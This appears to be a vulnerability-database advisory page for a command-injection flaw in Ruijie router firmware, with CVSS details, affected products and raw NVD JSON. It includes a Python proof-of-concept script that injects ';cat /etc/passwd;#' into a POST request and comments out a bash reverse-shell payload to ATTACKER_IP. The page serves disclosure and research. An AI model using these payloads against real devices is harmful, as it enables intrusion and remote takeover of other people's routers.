Security Vulnerability Report
中文
CVE-2025-56091 CVSS 8.8 HIGH

CVE-2025-56091

Published: 2025-12-11 18:16:21
Last Modified: 2026-01-27 17:27:33

Description

OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\(1\)b11p226:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300r_firmware:3.0\(1\)b11p301:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1800GX B11P226_EW1800GX_10223121

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56091 PoC - Ruijie RG-EW1800GX Command Injection # Target: Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 # Vulnerability: OS Command Injection in /usr/local/lua/dev_config/config_retain.lua target_ip = "192.168.1.1" # Replace with target device IP target_url = f"http://{target_ip}/cgi-bin/luci/api/module_set" # Payload to read /etc/passwd - injects command via module_set parameter payload = ";cat /etc/passwd;#" # Alternative payload for reverse shell: # payload = ";bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1;#" data = { "module": "wifi_config", "action": "set", "config": payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56091", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:21.333", "lastModified": "2026-01-27T17:27:33.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "158332AF-B2AC-41AD-A40D-6F638C654834"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7BCCEA-3446-4E6C-90F2-3B8B09BCAD5D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300r_firmware:3.0\\(1\\)b11p301:*:*:*:*:*:*:*", "matchCriteriaId": "82120F30-7B15-436E-B8B3-EFBDC88FD484"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BA7D348-02CC-406E-90C0-C82628007616"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EgUg1zJuaItDmLxZhkCg4B8BcJTRYnXyX4ePIIjNoZrRew?e=a23cK6", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EdiWfxSbC0pAu_oksKjm2xgBXSCavYBBJt8V51JkcH4Dsw?e=OhOVCN", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56091.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}